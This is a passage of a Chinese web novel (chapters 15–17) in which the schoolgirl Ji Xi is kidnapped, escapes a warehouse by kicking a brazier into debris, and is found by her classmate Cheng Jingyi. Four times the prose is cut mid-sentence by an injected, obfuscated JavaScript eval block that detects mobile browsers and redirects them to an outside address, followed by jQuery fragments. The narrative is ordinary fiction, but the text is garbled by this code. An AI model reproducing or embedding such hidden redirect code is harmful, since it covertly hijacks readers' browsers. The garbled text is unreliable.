“谁的东西掉了？”他环顾四周，想要找到失主，然而并没有看到像是失主的人。 程景逸将词汇书捡起来，翻开第一页，上面赫然写着娟秀的两个字——季希。 他眉心一跳。 这是季希的？ 这个时间点掉在这里，没有被环卫工人扫走，说明这是才掉没多久。 季希应该才从西门离开学校没多久。 联想到刚刚听见的那一声呼喊，程景逸心中有了很不好的预感。 学校门口有监控，但是如果在门卫那里看监控，估计又要牵扯出一大堆人，太麻烦。 而且学校对季希的事情如此讳莫如深，程景逸不敢赌。 注意到西门左侧一家文具店门口也有监控，程景逸进去和老板聊了一会儿，最后给了老板一点钱，成功看到了监控。 程景逸拿出手机，拨通一个电话：“向叔叔，我想请你帮我查一个车牌号。” *** 季希一上面包车就被敲晕了过去。 当她被水泼醒时，她发现自己被绑在凳子上，嘴里塞着抹布。 这里瞧着似乎是一个仓库。 寒冬时节，人说话时呼出的都是白气。 被这样的一盆冰水浇下来，只有透心凉，季希瑟瑟发抖。 空气里漂浮着饭菜的香气，季希甩开睫毛上挂着的水珠，艰难地抬头。 远处有一群人围在一大张圆桌前，正在吃饭。 旁边放着几个烧着炭的火盆。 桌上冒着白烟，看样子，像是在吃火锅。 刚刚泼她水的人似乎只是个小喽啰，那人走到桌前说了些什么。 有个红头发的青年放下手中碗筷，站起身，一边拿纸擦嘴，一边向季希走过来。 见季希睁着眼睛，红发青年笑道：“哟，还真醒了。” 季希挣扎，嘴里呜咽着呼喊，然而嘴里塞着布，她说不出话来。 红毛青年捏着季希的下巴，将抹布从她嘴里取出：“想说什么？” 季希：“你们是谁？绑我做什么？” “也不是不能告诉你。”红毛青年无奈叹道，“你得罪了人，我们老大收到消息说是要绑你一晚上。” 季希心里咯噔一下。 红毛青年：“老实说，我们本来不想绑你的。绑一个高中女生，这造孽呀。不过对方给的钱太多了，所以我们老大就答应了。不过你放心，我们也不做什么，你就今晚在这儿待一晚上就行，明早七点半，我们会把你放在学校门口。” “雷子，过来吃饭了，”桌子那边有人喊红毛，“跟这女娃儿有啥子好说的，饿一晚上，明早按点儿送回去就行。” 红毛青年把布重新塞进季希的嘴里。 季希闭上眼睛，气得发抖。 早上七点半。 那个时候正是老师和学生们进入学校的时刻，市一中三个年级的师生算起来有五六千人，再加上送学生上学的家长，来来往往的人极多。 要是让那么多人都知道她被绑架了一晚上，还这样被放在大庭广众之下，她一个姑娘家，就完了。 人的唾沫，也是可以杀人的。 而这种威力，她已经感受过。 她不想再承受一次。 好在这些人见她不过一介弱质女流，似是并不相信她有勇气和能力逃跑，吃完饭后就都散了，只是留了两个人在这里看着她。 一个是最初拿水泼她的那个人，另一个就是刚刚来和她说过话的那位红毛青年。 夜里正是人犯困的时候。 红毛青年拍拍旁边一直在打瞌睡的同伴：“你这样硬撑着多难受。老大他们早上才会来，现在你可以去床上眯一会儿，到点儿了我喊你。” 同伴不好意思道：“雷子，你不困呀。” 红毛青年：“别说了，我傍晚在一中门口盯梢的时候整了杯咖啡，那劲儿大的，现在我都还精神着。” “我反正也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577965|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡不着，有我看着她，你可以去睡一会儿。” 同伴有些迟疑。 红毛青年嗤笑道：“你看这女娃儿细胳膊细腿儿的，哪有那个能耐逃跑，你把心放肚子里。有事儿我会喊你的。” 同伴实在是太困了，确实也有些撑不住：“行，那我小眯一会儿。辛苦你了兄弟。” 待同伴在仓库隔间里的床上躺下后，红毛青年等了等，然后把火盆端到季希旁边。 季希其实也很累了，但是每当眼皮沉得快要阖上时，她被绑在凳子后的双手就使劲儿地互相掐着。 她就这样用疼痛刺激神经，一直硬撑着没有睡过去。 季希不断思量着自己应该怎么办。 她想逃，可是她连捆绑着自己手腕和脚腕的细绳都无法解开，她该怎么办呢？ 红毛青年见季希一直盯着自己。 他轻声说道：“你要是保证不喊，我就把你嘴里的布取掉。同意吗？” 季希心里一动。 没有人在意她，没有人会从天而降救她于水火。 所以她必须自救。 于是季希点点头。 红毛青年把季希嘴里的抹布取下，扔在一旁。 直觉告诉季希，眼前这个红毛青年对她没有恶意。 季希主动开口：“你叫雷子？” 红毛青年点头：“对。” 季希：“雷子哥，你能告诉我，是谁让你们绑我的吗？” 红毛青年挠挠头：“其实我也不清楚，只记得老大在接电话的时候喊了一声林姐。” 姓林。 季希微微合眼。 林晶，承蒙你如此看得起我季希。 每个人都应该为自己所做的事情付出代价。 我记住你了。 见季希一副很害怕的样子，红毛青年安慰道：“小姑娘，你放心，我们又不对你做什么。明早就送你回去了。你也别太伤心。” 季希：“雷子哥，你能告诉我这是哪里吗？” “这是我们的一个仓库，”红毛青年为难道，“我们有规定，所以具体位置确实不能告诉你。” 季希明白，虽然眼前这个人对自己有些善意，但这点善意无法让他违背他的老大放过自己。 所以她并没有多说，只是点头：“我明白。” “雷子哥，”季希又道，“我的脚实在难受，你可以先把我脚腕上的绳子放开吗？” 见红毛青年的目光多了些审视，她道：“早上你再把我的脚绑上，这样可以吗？” “既然你们只是想让我在这里待一晚上，我人已经在这里了，手还被绑着，我能做些什么呢？” “我不过是砧板上的鱼肉，任人宰割罢了。” 季希看着红毛青年，眼里带着恳切的请求：“我只是太难受了。” 红毛青年的本质并不坏，他咬咬牙：“好，我把你脚上的绳子解开，但是你千万不要说话，不要出声，要是被人发现，别说你，我也完了，知道吗？” 季希点头：“谢谢你，雷子哥。你应该知道，我叫季希。我可以知道你叫什么吗？” “孙雷达。”红毛青年将火盆往前推了推，放的离季希更近，“你烤烤火吧。” 然后便坐到一边，不再说话。 15. 熠熠红尘第一流 程氏集团。 程东启坐在办公室里加班，盯着手里的文件仔细看着。 秘书向凯定敲门进来：“董事长，二公子刚刚打电话查了一个车牌号。那辆车好像绑了二公子的一个同学。二公子想要一些保镖跟着他去救同学。” 程东启抬头，面上没什么表情，不怒自威：“他想要人，不知道自己给我打电话？” 向凯定尴尬一笑。 听这语气，本以为董事长要拒绝，没想到他等了半天却没有等到下文。 向凯定抬眼，瞧见董事长望着窗外，眼里是他看不懂的情绪。 半晌，程东启叹道：“罢了，凯定，你挑些人，从最能打的那一批里选，亲自陪景逸走一趟。” 向凯定点头：“是。” 看来董事长心里还是很看重二公子。 见向凯定没动，程东启催促道：“速速行动，一定要快，这种事情，拖不得。” “是。”向凯定连忙小跑着离开董事长办公室，开始安排部署。 程东启看着桌上亡妻温柔浅笑的照片，轻声道：“景凌心思深，杀伐决断，什么事都不用我操心，却不像我。” “景逸为了你一直跟我闹别扭，不听话。” “可要说这义字当头，景逸可真和我年轻的时候如出一辙。” “罢了，儿孙自有儿孙福，我能托着他们的时候也没有几年了。” 程东启摩挲着相框，片刻后便又低头看起文件来。 *** 季希的手被绑在身后的椅背上。 这张椅子是那种又重又大的办公椅，季希根本没有办法在不发出任何声音的情况下带着这把椅子逃出这里。 可是这个绳结她又实在是挣脱不开。 季希的心里万分焦灼。 怎么办。 她应该怎么做，才能逃出这里？ 越思考，越焦灼。 季希维持着被绑着的这个姿势许久，身体十分酸痛，便想着稍微在绳索绑着的细圈范围内活动一下。 这时她感觉到，右边的裤兜中似乎放着什么东西。 季希回忆了半晌，蓦地想起，那里放着一把迷你随身美工刀。 今天的事情太突然了，也太超出她的想象。 她从未想过自己这么一个普通人竟然也有一天能有被绑架的奇遇。 这样的震惊让季希忘记，自从她出了游泳馆那件事以后，就买了这样一把小号美工刀防身。 这群人只是把她的书包扔在旁边的地上，但是没有搜过身，如此这般，这把超级迷你的小刀才保留了下来。 只是孙雷达就在旁边，季希任何一个多余的动作都会引起他的注意。 她只能等。 等一个拿刀的机会。 好在没过多久孙雷达就起身朝仓库外走去。 看着孙雷达走出仓库门的路线，季希若有所思。 季希猜测他应该是去上厕所去了。 趁着这个空档，季希连忙稍微从椅子上坐起来一点，使劲地向侧面扭，让自己的手得以够到裤子侧面的兜。 绳子束缚着手腕，磨出一圈勒痕，很疼。 但是季希不在乎这疼痛。 终于拿到美工刀。 季希的心里稍微有了一点底。 只是这时，孙雷达回来了。 孙雷达头上的红毛在黑夜仓库中昏暗的灯光下很显眼，随着他的走动一晃一晃。 季希连忙将美工刀藏在手心，坐好，摆出一副看着火盆发呆的模样。 孙雷达四处扫视，没发现什么异样，才窝回自己的沙发椅，玩起手机。 季希刚松下一口气，便又瞧见孙雷达起了身。 她这一口气便梗在心间，迟迟落不下去。 只见孙雷达走到旁边，拿出热水壶和一次性纸杯，倒了一杯水，然后向她走来。 季希心里在发出尖叫。 他不会发现了吧！ 怎么办！ 没想到孙雷达只是把水递到她嘴边，小声道：“突然想起来你应该一直没喝水，渴不渴？” 虽然孙雷达一直对她表现出善意，但季希还是不敢喝孙雷达递过来的水。 所以季希道：“谢谢雷子哥，我先不喝了，我有点想上厕所，可以吗？” 孙雷达十分为难：“我们老大专门交代过，不能让你去上厕所，怕你路上跑了。所以对不起，我不能让你去卫生间。” 季希一副很焦急的模样：“雷子哥那怎么办？我真的想上厕所，我怕我憋不住呀……” 孙雷达比季希还着急：“啊？那怎么办？不是我不帮你呀，只是厕所在外面。仓库里面没有监控，我可以给你放放水。但是仓库门口有监控，要是从监控里看到我带你出去了，那我就完了。” 季希叹气：“唉，那算了，雷子哥，你已经帮了我很多，谢谢你。” “这种情况你确实还是先不要喝水比较好。”孙雷达把水拿走，安慰道，“没事，现在已经凌晨了。还有几个小时天就亮了，到时候你就自由了，再忍忍。” 短暂的插曲很快过去，孙雷达又坐到一旁。 季希盯着面前的火盆，眼眸里倒映着燃烧的炭火。 她虽然对世事了解不多，但最基本的道理还是能想明白。 如果明早这伙人的大部队来了，她再想逃就来不及了。 届时她就只能在众目睽睽之下被扔到学校门口。 被绑架过的流言会跟随着她一辈子。 按照林晶那伙人的性子，势必还会趁机传出其他污蔑她清白的谣言。 南庐市这个地方，她就不要混了。 她不想在指指点点中过一辈子。 她已经尝过这种滋味，她不想身上再被泼上其他污水。 季希脚上的绳索已经被孙雷达解开。 此时孙雷达坐在一边，低头玩着手机。 季希的脚慢慢靠近火盆。 这个仓库里摆了许多架子，架子上陈列着许多集装箱，虽然不知道里面都放着什么，但是应该都能点燃吧？ 她伸着脚，仿佛因为不适在活动腿脚。 孙雷达的余光里注意到动静，他将目光从手机屏幕上移开，看向季希。 季希像是没有注意到孙雷达的审视一样，随意地伸着脚，似乎只是在缓和腿脚的麻木。 孙雷达又将目光重新放在手机屏幕上。 季希继续试探着。 隔一段时间便伸伸腿脚。 慢慢地，孙雷达便不再注意她的动作。 很好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577966|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季希一边悄悄地在身后用迷你美工刀割着绳子，一边观察着四周。 看守她的另一个人已经去睡觉了，隔得老远，鼾声如雷。 仓库的大门离这里有些远，季希看的并不真切，只能隐隐在黑暗中看见那边有一个窟窿。 刚刚孙雷达就是从那里出去的。 那扇门是她生的希望。 如果大门出不去，旁边还有窗户。 这里是一楼，即便跳窗，高度也不会太高，她应该可以完成。 将逃生路线在心中模拟了好几遍，季希的目光重新回到火盆。 季希被绑着的地方旁边就有一个货架。 地上堆着各种杂物。 季希看见了汽油。 易燃易爆炸。 以她的力量大小，恐怕只能将这火盆踢到货架的最下面一层。 不如直接踢翻到那堆杂物里。 如果能点燃汽油，这里就会着火。 但是这样，她也会把自己置于险地。 季希眯着眼，望向火盆。 顾不了那么多了。 她不能把自己的命运交托到别人的手里。 她的明天必须由她自己说了算。 所以她必须逃走。 终于，手腕上的绳子被她割断。 无声的雀跃在季希的心中升起。 第一步已经完成。 她悄悄看向孙雷达。 这位红毛青年正盯着手机屏幕，手指不断地在屏幕上滑动着。 他似乎正在看小说。 并且读得津津有味。 只是他似乎也有些困了，眼睛渐渐有了阖上的趋势。 季希屏住呼吸。 三，二，一。 就是这一刻。 在孙雷达闭上眼睛、脑袋不由自主地向前倒去的这一霎那，季希拼尽全身的力气飞踢一脚，将地上的火盆踢到那堆杂物上。 火盆碰撞到地面的声音在寂静的夜里显得格外清晰。 孙雷达一下子就清醒了。 他不可置信地看着季希：“你……你在干什么？” 季希的手早已可以自由活动，她快速地抓起自己被扔在地上的书包，趁着孙雷达还没反应过来，向外面冲去。 孙雷达将眼睛眨了又眨，这才确信自己看见了什么。 他跳起来大喊：“福子！福子！别睡了！快起来，着火了！” 福子就是他刚刚去隔间睡觉的同伴。 孙雷达正拿着水桶往火盆上浇水，见福子揉着眼睛出来，一副状况之外的模样，忙道：“福子你快去外面追，那个小姑娘踢翻了火盆，然后跑了！” 福子惊道：“什么？跑了？”想到老大的责罚，他连忙向外面追去。 孙雷达还在吭哧吭哧地接水救火。 好在那桶汽油没被点着，只是其他东西被烧了。 当火被熄灭，他有些后怕地瘫坐在地上喘气。 这时，仓库门口传来一声巨响，涌进来许多人。 孙雷达一时有些害怕。 老大这么快就听到消息了？ 光顾着救火了，也不知道福子把那女孩儿抓回来没有。 这可怎么交差呀…… 孙雷达的心里急得像一团乱麻。 16. 熠熠红尘第一流 当程景逸和向凯定按照监控一路找到城郊的这座仓库时，已经是凌晨一点多了。 程景逸的心里有些慌乱，希望季希没有出事。 他心里想着事情，瞧着半掩着的仓库大门便狠狠一脚踹开。 铁门撞在墙上，发出很大的声响。 向凯定挑眉默默地将这一幕看在眼里。 二公子平日里张扬洒脱，却并不是嚣张跋扈之人。 怎么今天这么凶残？ 看来二公子的这位同学对二公子而言十分重要。 向凯定向身后挥手：“搜。” 二人身后跟着的一大群黑衣保镖便快速地分散开，进入仓库。 程景逸和向凯定则径直往里走。 很快，一个红色头发的年轻人被几个保镖押了过来。 其他保镖接连过来汇报，未在这间仓库里找到其他人。 程景逸蹙眉。 无人？ 那季希在哪儿呢？ 程景逸有些焦急，他又朝仓库深处走去，瞧见一排排架子间有一处空地，角落里放着把椅子。 空气里弥漫着烧焦的味道。 椅子旁边散落着绳索，架子旁一片凌乱。 翻倒的火盆，地上大片的水迹，昭示着这里刚刚经历了什么。 程景逸的心沉了又沉。 他看向红毛青年：“你们绑来的人呢？” 孙雷达：“跑了。” 程景逸：“你们对她做了什么？” 孙雷达：“没做什么呀，就是把她绑着，让她在这儿呆一夜，明早就送她回学校。” 程景逸稍微松了一口气，但同时想到背后之人这样做的用心，他沉下脸。 向凯定观察程景逸的神色，略加思索后问道：“谁让你们绑的人？” 孙雷达没说话。 向凯定给保镖丢过去一个眼神，保镖扭住孙雷达的一条胳膊。 孙雷达疼得发抖，喊道：“我真的不知道，我只是个小喽啰，就是听命行事。不过我隐约听见老大打电话时喊了一声林姐。” 向凯定还准备说些什么。 这时有人跑进仓库，一边跑一边道：“雷子雷子，那妞跑得太快了，我实在是没追到……” 孙雷达想说话，让福子快跑，可是被旁边的人一把捂住了嘴，便只能眼睁睁地看见福子也被捉住押了过来。 向凯定请示程景逸：“二公子，您看接下来怎么办呢？” 程景逸示意向凯定出来，待两人走到门口，程景逸才低声道：“向叔叔，林家是不是黑白通吃？” 向凯定点头：“是。如果这件事是林家的人指使的，那确实不太好办。即便是董事长，也得给林家几分面子。” 瞧着程景逸不太好看的脸色，向凯定又道：“但也就仅仅是给几分面子罢了。程家还是董事长说了算，而董事长很看重二位公子。” 听出向秘书的弦外之音，程景逸道：“既然这样，向叔叔，这边的事就暂时拜托给您了。请您务必好好查查这背后指使之人到底是谁。” “您分给我几个人，再给我几辆车，我现在得去找我同学。有事咱们之后再商量。” 向凯定：“二公子想用人和车直接用便是，本身就是您的权力。这里交给我，你放心。” 程景逸想起向叔叔以前的老本行，他又道：“向叔叔，这一片儿的混混也劳您查一查。如果身上背着事，就该送警局的送警局，如果还陷得不深，好好给他们指条明路吧。” 向凯定点头：“二公子仁心。” 程景逸没再说什么，点了几个人跟着，便转身离开。 *** 季希拼命地向外逃。 当她跑出仓库，却迷失了方向。 这究竟是哪儿？ 季希没有手机，可即便有，她也不知道应该打给谁。 院长妈妈此时应该已经回家了。 院长妈妈虽然在福利院也有房间，但她并不常常在福利院过夜，毕竟院长妈妈也有自己的家庭和自己的生活。 福利院院长只是院长妈妈的一份工作，她不可能时时刻刻关注到福利院的每一个孩子。 而程景逸…… 程景逸给的那三串电话号码她已经记得很熟。 但是，这么晚了，她打电话他会来吗？ 想到这里，季希自嘲一笑。 连能打电话的工具都没有，还妄想什么别的呢？ 这种时候，还是靠自己吧。 今天她就不信，靠着自己的双脚，走不回去。 季希不敢停留，她一面向前跑，一面四处张望。 从仓库出来是一片农田，这里很荒凉，四周并没看见什么高大的建筑，都是些和仓库差不多模样的厂房。 季希瞧着远处的山丘，感觉那是黑夜在向她发出死亡凝视。 积压了一肚子怒火的乖宝宝季希学着电视剧里主人公的样子对着黑夜竖了个中指。 冷风呼啸，季希打了个寒颤。 她快速地做出决定，先朝大路上走。 马路上如果有路标，就能找到方向了。 接着季希便一刻时间也不敢浪费地向着大路狂奔。 终于越过荒野跑到大路上，可是在马路两边却瞧不见人家或者商店。 这竟然就是山野间孤零零的一条公路。 这伙人竟然把她拐到这么远吗？ 这已经是郊区了。 在寂静无人的深夜里，她想回到市区，还真不是件容易的事情。 一旦那群人开着车来追她，她就会前功尽弃。 想到这里，季希停止奔跑，躲到路边的一棵树后。 她把马尾辫散下来，从书包里拿出帽子戴上，然后把最外面穿着的校服也脱下来装进包里。 简单改变了下形象，做了些伪装，虽然也不知道有没有用，但是尽人事听天命吧。 做完这一切，季希在心里权衡，究竟是在马路上大喇喇地向前冲，还是在公路边的小路上磕磕绊绊地往前走？ 出于对速度的考量，季希还是决定在平坦的马路上向前走。 夜色很暗，也很静。 如果有车从后面追来，她可以听见，到时候再躲到一旁。 现在她要做的，就是快速离开这里。 用最快的速度，离开这里。 *** 所以当程景逸拿着望远镜站在仓库旁边的小山丘上时，一眼便看见了那抹在夜幕中奔跑的身影。 有点像季希。 但跟他以前见到的季希又有点不一样。 说不上来是什么感受，但是程景逸知道，他很高兴。 程景逸走下山丘，召集正在仓库周围寻找季希踪迹的保镖，说道：“不找了，我刚看见人了，在马路上，咱们沿着那个方向将车开过去。” 看着面前的十来人以及五台车，程景逸道：“五个人跟我走，开两台车，剩下的人留下来跟着向秘书。” “是。”站在最前面的五个保镖自动出列，四个人坐进第二辆车，一个人坐进第一辆车的驾驶座。 程景逸坐进第一台车的副驾，指了个方向，两辆车便如同两只豹子一般冲进夜色之中。 *** 季希奋力向前跑着，凛冽寒冬的夜里，豆大的汗珠从她额间流下，她的脖颈后面都是汗。 可她不敢停下来。 她竭力地调整着自己的呼吸，不让自己因为喘不上气而影响前进的速度。 这条路真的是太漫长了。 此处和福利院之间隔着山遥路远的距离。 而福利院其实也不是她真正的家。 可她也只能回到那里。 她没有其他可以去的地方。 天大地大，确实没有她的容身之所。 回想起高一上学期这几个月里经历的事情，季希发现，一切灾难在突然降临之时，并不会给你辩解和逃避的机会。 命运通常只是简单粗暴地将困苦加诸你身。 而你只能被动承受。 不论你是否做好准备，都必须迎接这一场又一场暴风雨的洗礼。 而让人绝望的是，你不知道这场雨季什么时候会停。 季希真的好累。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577967|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她真的好想找到一个安全的环境，一个温暖的居所，一个可以让她放心安睡并且不再有这些困苦的地方。 但她也知道，这并不可能。 她无法说世人皆苦。 但她可以说，她本人确实挺苦的。 她在这世上活的这十几年里，确实没有遇到过什么不劳而获的事情。 更没有从天而降的馅饼砸到过她。 唯一的那么一次，她觉得幸运之神眷顾她，是她考上南庐市一中。 可是对于这件事，她现在也后悔了。 如果去了其他高中，是不是就不会遇到林晶这些人，她是不是就不用承受现在这份痛苦。 可见一个长久倒霉的人，突然有一天幸运起来，也许不是因为你要转运了。 更大的可能是，命运要把你送进一个让你更加倒霉的地方。 但是不知怎的，季希突然就想起了于棠曾经告诉过她的话。 凡事必有阴阳。 阴阳之间相互促进、相互转化，有利于事物的发展。 她现在就像是在从阴走向阳的过程。 明明上午还在因为被推进水里而生出就这样离开世界也挺好的想法。 可是现在，她心中熊熊燃烧的怒火又促使她生出对生命的无限渴望。 凭什么别人活着，而她不能活着？ 她想活着。 她要活着。 她必须活下来。 即便暴风雨是她应该承受的，但这并不代表她有什么错误。 她的活着，不是错误。 她想要再坚持坚持。 等到云开雨霁的时候，她也想沐浴在阳光下。 太阳既然普度众生，可不可以也照耀她片刻。 她不愿意因为这些各种各样的困境而丢掉这么宝贵的性命。 不论别人怎么对她，首先她自己不能失去生的信念。 这一刻，季希能感觉到，在命运暴风雨的冲刷下，她很痛苦，甚至想死，但是她也变得更强。 这种强不是那种非常显性的变化。 不是电影里那种，她突然获得某种能量，能够暴起干掉所有欺负她的人。 局外人可能看不出来。 但是身在其中的季希能够感受到。 从外表来看，她依然是一只垂死挣扎的弱鸡。 但是从内心来看，她变得更加坚韧。 如果她是一棵树，那么在雨季如此漫长而暴烈的折磨下，她有被雷电劈死的可能，有被滔天洪流淹没的可能。 但只要她活下来，她就会拥有更强健的枝叶和更发达的根系。 她会向上长得更高，向下扎得更深。 季希突然觉得，这样的雨季多来几回，只要她活的够久，终有一日，她能与天比高。 想到这里，季希扯着嘴角笑起来。 果然人在逆境中需要给自己打点鸡血。 有时候讲一些狂妄的话，不是真的想要做成什么，仅仅是为了给自己加油打气。 她需要这口气，支撑她走过这段艰难又孤独的路程。 身后隐约传来的汽车引擎声将季希的思绪拉回，她转头望去，瞧见远处从山坳那里驶出两辆黑色的越野车。 车灯笔直地打过来，照的很远，恍如两头野兽盯住猎物的目光，将她牢牢锁住。 季希听到有人在呼喊着自己的名字。 “季希——” 她从没有像这一刻一样觉得自己的名字如同催命符一般。 那两辆车上坐着的人仿若阎王爷派来索命的厉鬼。 季希连忙扭回头，竭尽全力地向前跑去。 可惜人的两条腿哪能有汽车轱辘快。 季希一个失神，便被公路边的不知道一个什么东西给绊倒。 很快就感觉到身后汽车的车轮碾压沥青路面的声音已经近在咫尺。 而她已近乎力竭，再也无法跑下去。 季希趴在地上的那一刻，她在心中问自己。 如果说刚刚她的心从阴走到阳，这是一个悟道的过程，那么现在，是否会有奇迹发生？ 17. 熠熠红尘第一流 郊区的山路千回百转，蜿蜒曲折。 转过几道弯，程景逸坐在副驾上，远远瞧见季希狂奔的身影。 她仿佛听见汽车的声音，回头看了过来。 见状，程景逸高声喊她：“季希——” 没想到季希像见了鬼一样。 只见她扭回头去，跑得更快了。 程景逸扶额，有些郁闷。 不过当他看见季希手忙脚乱地竟然来了个平地摔，程景逸不由自主地笑出了声。 季希这姑娘，还真挺有意思的。 越野车在季希身后停下。 程景逸打开车门。 视力很好的他即便在昏暗的夜幕之下也能发现，地上趴着的少女正在发抖。 程景逸示意保镖们退回车内。 他从后座拿起自己厚厚的外套，慢慢走向季希。 程景逸在季希面前缓缓蹲下，想要将她拉起来。 车灯打过来的方向不太妙，程景逸有些睁不开眼。 就在这一霎那，他感觉到了风。 是季希的拳头扑面而来。 从小跟着家里人练武的程景逸轻松接下这一拳。 季希好像很慌张，她的拳头接踵而至。 程景逸只好控制住季希的双臂，放轻声音，在她耳边小声道：“季希，我是程景逸。” 季希这才冷静下来，她扭过头，看着身后锁住自己双手的少年：“竟然是你？你怎么在这儿？” 见到少年熟悉的面容，季希的声音带出些哭腔。 她刚才本来已经决定要跟这些人拼了，没想到竟然是程景逸。 一下子松懈下来，季希险些站不住。 “是我。”程景逸扶住季希，面露关切，“你还好吗？” 季希想说很不好，但是又担心程景逸觉得她娇气，只得道：“还行。” 程景逸忍俊不禁：“我之前怎么没发现你还挺嘴硬的。” 她刚才明明害怕地一直在发抖。 不过即便那么害怕，却依然还是很有勇气地要和来人拼命到底。 程景逸心中对这看起来柔弱的姑娘升起一股敬佩。 季希低着头没说话。 程景逸松开季希，从地上捡起自己长长的黑色大衣，将灰尘拍掉，递给季希：“不管发生了什么，都没关系的，因为现在我来了。” 季希抬头：“什么？” 程景逸：“我来护送你回家。” 季希没有接过外套，她瞧着面前少年脸上温润的笑意，一瞬间脑海里突然涌现一句话。 「他就是她生命里的奇迹。」 程景逸只当季希被今晚的事情吓到了。 他帮季希把书包取下来，挂在自己的肩上，然后把外套披在季希身上：“穿上吧，挺冷的。” 确实挺冷的，但是这一刻，季希感觉到阳光普照，她有幸成为被照耀的那一个。 季希裹着外套摇头道：“不冷，很暖和。” 程景逸失笑，他帮着季希把胳膊塞进衣袖，半蹲着为季希把拉链一点一点拉起来。 当他把拉链拉到季希的脖子时，他温和道：“那这件衣服送给你了，你冷的时候都可以穿它。” 季希愣愣点头。 程景逸把季希塞进汽车的后座，然后又重新坐进副驾。 当汽车准备重新出发时，程景逸扭头问道：“季希，你家住哪儿，我们送你回家。” 季希不是一个虚荣的人，她一向有一说一。 但是在程景逸面前，她不明白为什么，竟然有些不愿意让他知道自己的身世。 她怕他可怜他。 脑海里一团乱麻，季希破罐子破摔道：“南庐市儿童福利院。” 这下轮到程景逸呆愣了，他下意识问道：“什么？” 季希揉搓着已经冻得僵硬麻木的手，声调毫无起伏和波澜：“南庐市儿童福利院，也在江秀区，你知道在哪儿吗？” 程景逸转向保镖，重复道：“你知道在哪儿吗？” 宛如没有灵魂的机器人。 保镖大哥淡定地拿出手机：“导航知道。” 两辆越野车再一次如豹子般潜入夜幕之中。 季希打开车窗，感受着冷风如刀割一般刮过脸颊。 疼痛让她保持清醒。 而程景逸也保持着一路沉默。 他有些后悔，早知道这样他就应该直接把季希带回程家，别墅里有很多房间，让季希借住一晚上也没什么。 他刚刚这么一问，也不知道少女的自尊心会不会受到伤害。 毕竟季希如果住在福利院，那可能就是无父无母的孤儿。 她可能并不想让同学知道这件事。 对于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577968|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她来说，提到这个地址，会不会本身就是一种伤害？ 性格本不纠结的程景逸，因为这个问题纠结懊悔了一路。 而程景逸的沉默在季希看来却带着另一种意味。 她默默脱掉程景逸给她的温暖外衣，叠好放在后座上。 当汽车停在福利院门口时，已经将近凌晨四点。 季希噙着礼貌的微笑，对程景逸道谢：“程景逸，今天谢谢你。” 程景逸笑得温和：“没事，别想那么多，赶紧回去休息吧，如果难受，就和老师请一天假。” 季希没有说话。 今天已经是新的一天。 最黑暗的时刻她已经挺了过来，尽管长夜仍然漫漫，但是黎明终将到来。 也许命运确实存在一些奖励机制，当她独自撑过最艰难的时刻，便为她送来程景逸这样一个奇迹。 如果她没能自己逃出来，程景逸还会出现吗？ 季希不知道。 不过，有一点她很清楚。 不论命运的太阳何时升起，她心中的太阳已经开始显露出勃勃生机。 于她而言，这是新的生命的开始。 在这样的时刻，她一定要去学校。 她要让所有想看她笑话的人都看到。 她，季希，堂堂正正、光明正大地立于世间。 季希开门下车，走了几步突然想起自己的书包还在程景逸怀里。 她又转回头走到尚未离开的越野车旁。 没等她动作，程景逸将车窗降下来，关切道：“季希，你想说什么？” 眼里似乎还有一些期待。 季希突然不知道应该说些什么。 她指着程景逸怀里自己那不知道在地上滚了多少遍的脏兮兮的书包，干巴巴道：“我来拿这个。” 程景逸这才想起来，递给她：“不好意思，我忘记给你了。” 季希摇头：“今天真得要感谢你，不然我现在还在大马路上逃命。” 说罢，她转身朝福利院内走去。 季希萧瑟的背影在福利院的巨大匾额下显得格外渺小。 程景逸瞧着这一幕，心里很不是滋味。 他扭头，看见自己的外套被叠得好好的放在后面座位上，沉吟两秒后，他捞起外套，一边下车一边对保镖说道：“劳烦你们等我一会儿。” 18. 熠熠红尘第一流 